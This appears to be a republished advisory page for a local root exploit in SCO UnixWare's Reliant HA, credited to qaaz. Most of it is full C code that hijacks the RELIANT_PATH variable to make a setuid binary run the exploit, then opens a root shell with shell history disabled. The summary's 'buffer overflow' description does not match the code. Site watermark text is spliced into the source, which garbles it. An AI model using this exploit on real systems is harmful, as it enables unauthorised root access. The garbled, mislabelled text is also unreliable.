SCO UnixWare Reliant HA Local Root (Exploit)

Summary
A vulnerability in SCO UnixWare's Reliant HA program allows local attackers to overflow an internal buffer in the program causing it to execute arbitrary code.
 
Credit:
The information has been provided by qaaz.
The original article can be found at: http://www.milw0rm.com/exploits/5356 网管朋友网www_bitscn_net

 
 
 Details
Audit your web server for security holes - see what the hackers see.
Sign up for a scan today - risk free!
Exploit:
/* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Reliant HA Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

网管网www_bitscn_com

#define TGT1 "/usr/opt/reliant/bin/hvdisp"
#define TGT2 "/usr/opt/reliant/bin/rcvm"
#define DIR "bin"
#define BIN DIR "/hvenv" 网管有家bitscn.net

int main(int argc, char *argv[])
{
 char self[4096], *target;
 pid_t child; 网管下载dl.bitscn.com

 if (geteuid() == 0) {
  setuid(geteuid());
  dup2(3, 0);
  dup2(4, 1);
  dup2(5, 2);
  if ((child = fork()) == 0) {
   putenv("HISTFILE=/dev/null");
   execl("/bin/sh", "sh", "-i", NULL);
   printf("[-] sh: %s\n", strerror(errno));
  } else if (child != -1)
   waitpid(child, NULL, 0);
  kill(getppid(), 15);
  return 1;
 }

 printf("----------------------------------------\n");
 printf(" UnixWare Reliant HA Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("----------------------------------------\n");

网管bitscn_com

 if (access(TGT1, EX_OK) == 0)
  target = TGT1;
 else if (access(TGT2, EX_OK) == 0)
  target = TGT2;
 else {
  printf("[-] No targets found\n");
  return 1;
 } 中国网管联盟bitsCN.com

 sprintf(self, "/proc/%d/object/a.out", getpid());

 if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
  printf("[-] %s: %s\n", DIR, strerror(errno));
  return 1;
 } 网管有家bitscn.net

 if (symlink(self, BIN) < 0) {
  printf("[-] %s: %s\n", BIN, strerror(errno));
  rmdir(DIR);
  return 1;
 }

 if ((child = fork()) == 0) {
  char path[4096] = "RELIANT_PATH="; 中国网管论坛bbs.bitsCN.com

  dup2(0, 3);
  dup2(1, 4);
  dup2(2, 5);
  putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
  execl(target, target, NULL);
  printf("[-] %s: %s\n", target, strerror(errno));
  return 1;
 } else if (child != -1)
  waitpid(child, NULL, 0);

 unlink(BIN);
 rmdir(DIR);
 return 0;
}
 

网管联盟bitsCN@com